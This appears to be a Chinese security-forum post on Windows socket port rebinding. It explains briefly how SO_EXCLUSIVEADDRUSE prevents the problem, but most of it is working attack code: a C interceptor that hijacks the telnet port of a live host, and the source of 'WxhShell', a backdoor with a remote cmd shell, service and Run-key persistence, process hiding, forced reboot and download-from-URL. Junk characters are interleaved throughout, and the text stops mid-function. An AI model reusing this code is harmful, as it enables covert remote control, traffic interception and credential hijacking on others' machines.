在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{+>-7
9b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
EfT=? h/Y'<: saddr.sin_family = AF_INET;
N"ST@/j.A tQ#n${a@f saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1?l1:}^L U]rRQ
d/:; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
do'GlU oMC 'LDQgC*% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\s\?l(ooq" wUJcmM; 这意味着什么?意味着可以进行如下的攻击:
A@#E@;lm G' 1'/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=Dj#gV "\yT7?}, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[dz _R =?8@#]G+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
N?8!3&TiV f
_:A0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Tp2.VIoQ= #KvlYZ+1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
cU RxQ * 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\Vk:93OH21 :Zlwy-[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0=$T\(0g |DwZ{(R"W #include
#5uOx(> #include
2~[juWbz #include
[nh>vqum #include
m]&SN z= DWORD WINAPI ClientThread(LPVOID lpParam);
o2ECG`^b int main()
B33\?Yj) {
8{ I|$*nB WORD wVersionRequested;
#\ErY3k 6& DWORD ret;
@2#lI WSADATA wsaData;
yf,z$CR BOOL val;
^B^9KEjTz SOCKADDR_IN saddr;
MHwIA *R SOCKADDR_IN scaddr;
5bb(/YtFy int err;
5mR 1@ SOCKET s;
J .<F"r> SOCKET sc;
1\.pMHv/ int caddsize;
?V=CB,^ HANDLE mt;
Iu6
DWORD tid;
!
dgNtI@ wVersionRequested = MAKEWORD( 2, 2 );
1Z&(6cDY8M err = WSAStartup( wVersionRequested, &wsaData );
TcoB,Kdce if ( err != 0 ) {
glw+l'@ printf("error!WSAStartup failed!\n");
Ho]su? return -1;
,]D,P }
w!XD/jN saddr.sin_family = AF_INET;
=EsavN (;,sc$H] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
s#GLJl\E_P qg$ <oL@~~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}-`4DHgq saddr.sin_port = htons(23);
G+m }MOQP7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rmOj {
'c~4+o4co printf("error!socket failed!\n");
E*lxVua return -1;
moE2G?R }
eJX#@`K val = TRUE;
ji="DYtL //SO_REUSEADDR选项就是可以实现端口重绑定的
R@2X3s: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
C_Wc5{ {
'<uq3?5 printf("error!setsockopt failed!\n");
Xwtqi@zlE return -1;
\)Cl%Em }
v` r:=K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
phz&zlD //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
FGkVqZ Y2? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|l!aB(NW }GIt!PG if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Yr|4Fl~U {
!Z6{9sKR=] ret=GetLastError();
o !7va" printf("error!bind failed!\n");
<oeIcN7d return -1;
v-Sd*( 6 }
6w7 7YTJ listen(s,2);
*z2s$EZ while(1)
Q59W#e) {
K,UMqAmk caddsize = sizeof(scaddr);
F:ELPs4" //接受连接请求
&c #N)U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T]$U"" if(sc!=INVALID_SOCKET)
A %-6`> {
`$NP>%J- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?h2}#wg if(mt==NULL)
8;X-)&R {
zBH2@d3W printf("Thread Creat Failed!\n");
WEpoBP
CL break;
e';_Y>WQy }
)`}:8y? }
aQ~s`^D CloseHandle(mt);
D)Dr__x }
wA.\i closesocket(s);
:@&/kyGH WSACleanup();
wQLSf{2 return 0;
DTs;{c }
}~q5w{_n DWORD WINAPI ClientThread(LPVOID lpParam)
']oQ]Yx0 {
[Nq*BrzF SOCKET ss = (SOCKET)lpParam;
{>;R?TG]$ SOCKET sc;
L0]_X#s># unsigned char buf[4096];
&.ACd+Cd SOCKADDR_IN saddr;
<-0]i_4sK long num;
92-I~
!d DWORD val;
{XHh8_^& DWORD ret;
A)KZa"EX //如果是隐藏端口应用的话,可以在此处加一些判断
|K~Nw&rZ] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
NuI9iU saddr.sin_family = AF_INET;
QCJM& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
I?NyM saddr.sin_port = htons(23);
DL.!G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'f|o{ {
3M= printf("error!socket failed!\n");
y?!"6t7& return -1;
T
1t6p& }
:H[6Lg\* val = 100;
G/ 5%.Bf@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^}C\zW {
SY8C4vb'h ret = GetLastError();
B\n[.(].r return -1;
CH/rp4NeSy }
^W@5TkkBQq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"h ^Z {
)CyS#j#= ret = GetLastError();
Qci]i)s$js return -1;
-{_PuJ " }
=":,.Ttq41 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
3N:D6w-R {
>i
O!*&Y> printf("error!socket connect failed!\n");
O1kl70,`R closesocket(sc);
]{L jRSV closesocket(ss);
+^<](z return -1;
cGD(.= }
h7 I{
4 while(1)
P
}uOJVQ_ {
u]gxFG"
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
u2[w# //如果是嗅探内容的话,可以再此处进行内容分析和记录
kNL\m[W8$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{y;n:^ num = recv(ss,buf,4096,0);
4`R(? if(num>0)
_tXlF; send(sc,buf,num,0);
%%wNZ{ else if(num==0)
*9i{,I@ break;
9g?(BI^z num = recv(sc,buf,4096,0);
s9d_GhT%- if(num>0)
L_s:l9!r send(ss,buf,num,0);
uwBiW else if(num==0)
IIqUZJ break;
&"q=5e2 }
Q5_o/wk closesocket(ss);
o`RKXfCq closesocket(sc);
o?
$.fhD
return 0 ;
6`-jPR }
JMM W [fIg{Q 7[wieYj{ ==========================================================
3[f):
u3" <^uBoKB/f 下边附上一个代码,,WXhSHELL
3D(0=$W <Ok3FE.K ==========================================================
o8vug$=Z IqGdfL6[( #include "stdafx.h"
A +)`ZTuO 2Wb]4- #include <stdio.h>
#5j\C+P}| #include <string.h>
a@*\o+Su #include <windows.h>
K_-MYs. #include <winsock2.h>
j8`BdKg #include <winsvc.h>
YrKWA #include <urlmon.h>
+2j AC r $tS}LN_!
#pragma comment (lib, "Ws2_32.lib")
9&ids!W~yx #pragma comment (lib, "urlmon.lib")
!?gKqx'T$ k#rBB #define MAX_USER 100 // 最大客户端连接数
`~`k_7t. #define BUF_SOCK 200 // sock buffer
IaXeRq?< #define KEY_BUFF 255 // 输入 buffer
fd2T=fz- O7IJ%_A& #define REBOOT 0 // 重启
alvrh'51 #define SHUTDOWN 1 // 关机
k@:%:Sj 2 Tu 7QCr5* #define DEF_PORT 5000 // 监听端口
v}Fr@0% JO<wU #define REG_LEN 16 // 注册表键长度
"w.3Q96r #define SVC_LEN 80 // NT服务名长度
WeiFmar 3%ZOKb"D* // 从dll定义API
m%e68c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
t<viX's typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
VU d\QR- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
baK$L;Xo: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"FKOaQ%IH #N cK
X // wxhshell配置信息
b>N8F^}~O struct WSCFG {
uRr o?m< int ws_port; // 监听端口
4_cqT/ char ws_passstr[REG_LEN]; // 口令
0_t`%l= int ws_autoins; // 安装标记, 1=yes 0=no
LE>]8[f6S char ws_regname[REG_LEN]; // 注册表键名
*`RkTcG char ws_svcname[REG_LEN]; // 服务名
`^y7f char ws_svcdisp[SVC_LEN]; // 服务显示名
{> 0wiH#!E char ws_svcdesc[SVC_LEN]; // 服务描述信息
(ICd} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\;"=QmRD%: int ws_downexe; // 下载执行标记, 1=yes 0=no
}U9G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u-5{U-^_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}!C)}.L< ,nB5/Lx };
#ucBo<[ H
DFOA // default Wxhshell configuration
N'`A?&2ru struct WSCFG wscfg={DEF_PORT,
/Mu@,)'' "xuhuanlingzhe",
7x4PaX( 1,
qm o9G "Wxhshell",
sp*v?5lW "Wxhshell",
#?9;uy<j.q "WxhShell Service",
1PV'?tXp( "Wrsky Windows CmdShell Service",
Tyf`j,= "Please Input Your Password: ",
Eg3q!J&Z 1,
C-[eaHJ'$ "
http://www.wrsky.com/wxhshell.exe",
'u b@]ru| "Wxhshell.exe"
$'hEz/ };
:A'y+MnK< =zKM=qba // 消息定义模块
=$Nq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e;}7G char *msg_ws_prompt="\n\r? for help\n\r#>";
q(2'\ _`u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
nK%LRcAs char *msg_ws_ext="\n\rExit.";
R[x_j char *msg_ws_end="\n\rQuit.";
4Ic*9t3 char *msg_ws_boot="\n\rReboot...";
~1vDV>dpE char *msg_ws_poff="\n\rShutdown...";
C&rkvM8 char *msg_ws_down="\n\rSave to ";
O+Y6N EA]U50L( char *msg_ws_err="\n\rErr!";
1Z~FCJz char *msg_ws_ok="\n\rOK!";
lv+TD!b b7?hI char ExeFile[MAX_PATH];
(c
&mCJN int nUser = 0;
8C9-_Ng` HANDLE handles[MAX_USER];
"u^H#L>-q int OsIsNt;
P! #[mio zuy4G9P SERVICE_STATUS serviceStatus;
I75DUJqy] SERVICE_STATUS_HANDLE hServiceStatusHandle;
&AbNWtCV+G -0x
# // 函数声明
8&`LYdzt int Install(void);
oHn
Ky[1 int Uninstall(void);
=.]4;z int DownloadFile(char *sURL, SOCKET wsh);
SmSH2m- int Boot(int flag);
U/l&tmIVY void HideProc(void);
'Xq|Kf ( int GetOsVer(void);
X=fYWj[H, int Wxhshell(SOCKET wsl);
)ea>% void TalkWithClient(void *cs);
8i#2d1O int CmdShell(SOCKET sock);
O*)Vhw'pK int StartFromService(void);
f5VLw`m}.8 int StartWxhshell(LPSTR lpCmdLine);
]a*d# 54R#W:t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.Od!0(0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
65$+{s *VhL\IjN] // 数据结构和表定义
MJ
[m SERVICE_TABLE_ENTRY DispatchTable[] =
"N bq#w\ {
8(&[Rs?K {wscfg.ws_svcname, NTServiceMain},
/zVOK4BqN+ {NULL, NULL}
%%gc2s };
.jT#:_ 9c,'k#k // 自我安装
N.{H,oO ` int Install(void)
Jgd'1'FOs {
++Ts char svExeFile[MAX_PATH];
V_}"+&W9 HKEY key;
;dZZ;#k% strcpy(svExeFile,ExeFile);
|AU~_{H hVAn>_( // 如果是win9x系统,修改注册表设为自启动
RF53J yt if(!OsIsNt) {
tq6!`L }3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_
y8Wn}19f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o5uph=Q{ RegCloseKey(key);
peuZ&yK+" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'UX!*5k<: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[H^z-6x:0 RegCloseKey(key);
9oR@UW1 return 0;
;1O_M9 }
tKx~1- }
jrr*!^4| }
Mhf5bN|wQ else {
&n}f? O#~yKqB // 如果是NT以上系统,安装为系统服务
/quc}"__ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gANuBWh8T if (schSCManager!=0)
J^5So {
e9 5Lo+:f SC_HANDLE schService = CreateService
?2{Gn-{ (
&LZn
FR schSCManager,
{xB!EQ" wscfg.ws_svcname,
s.N/2F&*W wscfg.ws_svcdisp,
Pz |>"' SERVICE_ALL_ACCESS,
q{I%Q)t)gU SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1
A
!bE SERVICE_AUTO_START,
Ed,~1GanY SERVICE_ERROR_NORMAL,
sn$9Shgh svExeFile,
)SRefW.v NULL,
u9GQU NULL,
L<-_1!wh NULL,
FvXZ<(A{ NULL,
l2rd9-T NULL
J0\Fhe0' );
=eXU@B if (schService!=0)
Yi+wC}
{
`nv~NLkl CloseServiceHandle(schService);
OXSmt
DvJ CloseServiceHandle(schSCManager);
1;r|g)VM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
[-k strcat(svExeFile,wscfg.ws_svcname);
x_6[P2"PP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?o4C; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2%@4] RegCloseKey(key);
pW@Pt 3u return 0;
wb5baY9 }
tip+q d }
,+vy,<e& CloseServiceHandle(schSCManager);
R_ ,U Mt }
2U\u4NO{ }
K'Tm_"[u ," Wr" return 1;
I{9QeRI }
>WQMqQ^t@ NI}yVV // 自我卸载
&<5zqsNJ\a int Uninstall(void)
)72+\C[*~r {
YY((V@|K HKEY key;
1 s2>C!\ EQyC1j if(!OsIsNt) {
LX7FaW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'4Ixqb+ RegDeleteValue(key,wscfg.ws_regname);
B^Nf #XN( RegCloseKey(key);
;R5`"` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~u!|qM RegDeleteValue(key,wscfg.ws_regname);
k)= X}=w RegCloseKey(key);
6]_pIf return 0;
]kG"ubHV?h }
V2?=4mb }
#ASz;$P }
U;V7 u/{ else {
lL3khJ:% uK#4(eY=W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
dTC7Fm if (schSCManager!=0)
~xfP:[u {
gsvuE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
a 3b/e8c if (schService!=0)
Lh"<XYY {
f/NH:1)y if(DeleteService(schService)!=0) {
|`Ntv} CloseServiceHandle(schService);
|`f$tj CloseServiceHandle(schSCManager);
Z!#!Gu*V return 0;
1onM j }
?m=N]!n CloseServiceHandle(schService);
#*uL)2nR }
+p_CN*10H CloseServiceHandle(schSCManager);
dh*ZKI^@( }
.b&t;4q }
*_{j=sd [vK^Um return 1;
|zNX=mAV }
u\x}8pn ='sHj4hU // 从指定url下载文件
*@r/5pM2} int DownloadFile(char *sURL, SOCKET wsh)
69?wc! {
Un(aW=PQ0 HRESULT hr;
M~#g RAUJ char seps[]= "/";
ooL!TSGD char *token;
bv9]\qC]T< char *file;
}[};IqVaK char myURL[MAX_PATH];
^qvbqfh char myFILE[MAX_PATH];
N/'b$m5=
S sw oQ' strcpy(myURL,sURL);
BB$>h} token=strtok(myURL,seps);
d>&,9c% while(token!=NULL)
#m<nAR {
kr5">"7 file=token;
uaGk6S token=strtok(NULL,seps);
+I:Unp }
;Ax
}KN7 C12Fl GetCurrentDirectory(MAX_PATH,myFILE);
Nw/ ku strcat(myFILE, "\\");
eKLZt%= strcat(myFILE, file);
`$<.pOm send(wsh,myFILE,strlen(myFILE),0);
m
3hrb- send(wsh,"...",3,0);
2K6qY)/_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
c|B('3h if(hr==S_OK)
eIEeb,#i return 0;
E *6Cw
l else
k&q;JyUi return 1;
ufZDF=$7 =/+-<px }
gHEu/8E Ugt/rf5n // 系统电源模块
gNrjo= int Boot(int flag)
[{,T.;'<j {
wY%} HANDLE hToken;
\?ZB]*Fu TOKEN_PRIVILEGES tkp;
T|op$ s| fS:&Ak
]; if(OsIsNt) {
Y%aCMP9j~9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
l^-];|Y
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
YQ)kRhFA tkp.PrivilegeCount = 1;
TG?brgW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
e/&{v8Hmb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]BZA:dd.G if(flag==REBOOT) {
q[ZT Hd.- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=tn)}Y.<e return 0;
6qpJUkd }
9C9oUtS else {
,vawzq[oSy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0[#
3;a return 0;
a=1@*ID }
"1*:JVG }
nFe<w else {
q=m'^
,gPS if(flag==REBOOT) {
oj<gD if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$am$EU?s return 0;
t!X.|`h }
wqs?828x else {
Hqx-~hQO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
mzKiO_g} return 0;
hJ? O],4J }
9(7-{,c }
JPUW6e07o a:`E0}C return 1;
8z`G,qh }
4G0m\[Du (Q!}9K3 // win9x进程隐藏模块
.},'~NM] void HideProc(void)
7`Ak)F:V {
*W1dG#Np} ~?Pw& K2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6OIte-c if ( hKernel != NULL )
eA ?RK.e {
M `M5'f pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ZzpUUH/r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
LEf^cM=> FreeLibrary(hKernel);
vF+7V*< }
n\D&!y[]F vX"*4m>b?+ return;
~<5!?6Yt }
"|
g>'wM* @%uUiP0 // 获取操作系统版本
@ioJ]$o7 int GetOsVer(void)
[ 5b--O {
a0E)2vt4 OSVERSIONINFO winfo;
j0aXyLNX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y9GoPC`z GetVersionEx(&winfo);
50wulGJud if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]7BvvQ
return 1;
5m 4P\y^a else
=R|HV;9 h return 0;
]|ag }
,PW'#U: i)#dWFDTv // 客户端句柄模块
P>D)7V9Hh int Wxhshell(SOCKET wsl)
O+]ZyHnB {
R|, g< SOCKET wsh;
KYI/ struct sockaddr_in client;
U_Ptqqt% DWORD myID;
"m8^zg hL %OCb:s while(nUser<MAX_USER)
~jk|4`I?T {
tw/dD + int nSize=sizeof(client);
9:|{6_Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#q$HQ&k if(wsh==INVALID_SOCKET) return 1;
()?(I?II O
_ gGf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!i}w~U< if(handles[nUser]==0)
8/cX]J closesocket(wsh);
5Ln,{vsv else
M
FMs[+2_o nUser++;
BwpqNQN }
7S:\"A7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
lb3bm)@: xm~`7~nFR return 0;
_D&598 xx }
bsli0FJSh' pYEMmZ?L // 关闭 socket
7xlkZF void CloseIt(SOCKET wsh)
X`K<>0.N {
o:'MpKm closesocket(wsh);
l|[N42+ nUser--;
*:7rdzn ExitThread(0);
v!-pSa)3 }
qYQl,w !9e=_mY // 客户端请求句柄
~G&dqw/.-U void TalkWithClient(void *cs)
`/+>a8 {
%aCqi(.7 ^z*t%<@[Q SOCKET wsh=(SOCKET)cs;
Wvh#:Z char pwd[SVC_LEN];
_4~+{l+ char cmd[KEY_BUFF];
Q3~H{)[Kq char chr[1];
a58H9w"u) int i,j;
9W5lSX#^; ;H*T^0 while (nUser < MAX_USER) {
eo?bL$A[s ;igIZ$& if(wscfg.ws_passstr) {
c)85=T6*aA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^{`exCwMx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.~;\eW [ //ZeroMemory(pwd,KEY_BUFF);
?l{nk5,?-Y i=0;
5C]x!>kX while(i<SVC_LEN) {
$a]`nLUa 2F.;;Ab // 设置超时
M7~2iU<# fd_set FdRead;
9cF[seE"0 struct timeval TimeOut;
]%H`_8<gc FD_ZERO(&FdRead);
>tr}|> FD_SET(wsh,&FdRead);
cuITY^6 TimeOut.tv_sec=8;
_TZRVa_ TimeOut.tv_usec=0;
h438` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
mq.`X:e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ZMlm)?m bAqA1y3= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p]TAELy pwd
=chr[0]; (w3YvG.
if(chr[0]==0xd || chr[0]==0xa) { 2/^3WY1U
pwd=0; ES7s1O$#
break; ouQ T
} M6jy\<a
i++; ~36!?&eA8
} g3y~bf
@":
^)87
// 如果是非法用户,关闭 socket H7n>Vx:L-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q)h(nbbVak
} C1)!f j=
J
ZS:MFA
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r#a=@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oG\Vxg*
SqpaFWr
while(1) {
=:pJ
8nV+e~-w
ZeroMemory(cmd,KEY_BUFF); bY:x8fl
XRi8Gpg
// 自动支持客户端 telnet标准 Q197mN+0
j=0; 73;GW4,
while(j<KEY_BUFF) { CD~.z7,LC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xx:"4l.w.
cmd[j]=chr[0]; L="}ErmK
if(chr[0]==0xa || chr[0]==0xd) { >y3=|
cmd[j]=0; U5de@Y
break; WOap+
} 8l`*]1.W<
j++; #*Ctwl,T
} 4!?eRY
wmLs/:~
// 下载文件 VI86KJu
if(strstr(cmd,"http://")) { } q8ASYNc
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4tBYR9|
if(DownloadFile(cmd,wsh)) kffcm/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~]2K^bh8&
else + ePS14G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kxv1Hn"`{E
} 5\nAeP
else { F )eelPZ+,
4V`G,W4^J
switch(cmd[0]) { G"t5nHY\.
a:w#s}bL
// 帮助 j#ab_3xH
case '?': { ^1];S^nD
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G 3ptx!
D
break;
x.$FNt(9
} s$j,9uRr
// 安装 ww1[rCh\+
case 'i': { :V||c 5B+
if(Install()) d2$IH#~9B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OneY_<*a<
else Q=$2c[Uk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J|7 3.&B
break; >hIu2jm
} 3bI9Zt#J%&
// 卸载 es7=%!0
case 'r': { nxFBI D
if(Uninstall()) eHUOU>&P]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kAUymds;O
else f!X[c?Xy"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !4+<<(B=E
break; 1'Dai `
} 8}:nGK|kx
// 显示 wxhshell 所在路径 FS.L\MjV]U
case 'p': { 5b7RYV
char svExeFile[MAX_PATH]; ]`WJOx4
strcpy(svExeFile,"\n\r"); 1'8YkhQ2a
strcat(svExeFile,ExeFile); Nh+ H 9
send(wsh,svExeFile,strlen(svExeFile),0); 5z)~\;[ -
break; } Q+|W=2t
} JBZ@'8eqi]
// 重启 F#E3q|Q"BS
case 'b': { @=u3ZVD
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JucY[`|JV
if(Boot(REBOOT)) y@yD5$/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8&dF
else { \9EjClfo
closesocket(wsh); E]r?{t`]
ExitThread(0); w0unS`\4
} YS_;OFsd
break; dPRra{
} COlaD"Y
// 关机 Z;"vW!%d
case 'd': { f|(M.U-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6Kz,{F@
if(Boot(SHUTDOWN)) x,'!gT:j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \~ wMfP8
else { 9lE_nc
closesocket(wsh); >yDZw!C
ExitThread(0); />>\IR
} _)-o1`*-
break; d #wVLmKZ
} q@2siI~W
// 获取shell pfI&E#:5
case 's': { /Z4et'Lo
CmdShell(wsh); ,hmL/K0"(5
closesocket(wsh); &)<)^.@3G^
ExitThread(0); sDV Q#}a
break; V(*(F7+
} cB&:z)i4
// 退出 zbPqYhJzA
case 'x': { 2:ylv<\$
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z3!`J&
CloseIt(wsh); -s/ea~=R
break; u]@['7
} wz8yD8M
// 离开 ^<AwG=
case 'q': { +"VP-s0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +"@ .8m
closesocket(wsh); (7*}-Uy[C
WSACleanup(); SgOheN-
exit(1); Gs[XJ 5%`~
break; @KAI4LP
} #.[k=dj
} 3;Fhg!ZO
} :BTq!>s
9nbLg5P
// 提示信息 TS5Q1+hWHV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3R VR
} cM7[_*Ot<m
} rrv%~giU
LOJAWR9$^U
return; [ikOb8 G#
} <of^AKbt
GPkpXVm
// shell模块句柄 fikkY=
int CmdShell(SOCKET sock) bN@
l?w
{ cN9t{.m
STARTUPINFO si; %~S&AE-
ZeroMemory(&si,sizeof(si)); DlNX 3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n(]-y@X0_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W@!S%Y9
PROCESS_INFORMATION ProcessInfo; Q NVa?'0"Y
char cmdline[]="cmd"; F4{IEZ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >&k-'`Nw
return 0; {]|J5Dgfe
} 0SPk|kr
dcT80sOC
// 自身启动模式
j
<RrLn_
int StartFromService(void) _<2E"PrT
{ 0qT%!ku&
typedef struct ?G&ikxl
{ c[Zje7 @
DWORD ExitStatus; Z EO WO
DWORD PebBaseAddress; ^G-@06 /!
DWORD AffinityMask; dC4'{n|7
DWORD BasePriority; y* h<MQ
ULONG UniqueProcessId; 6S\8$
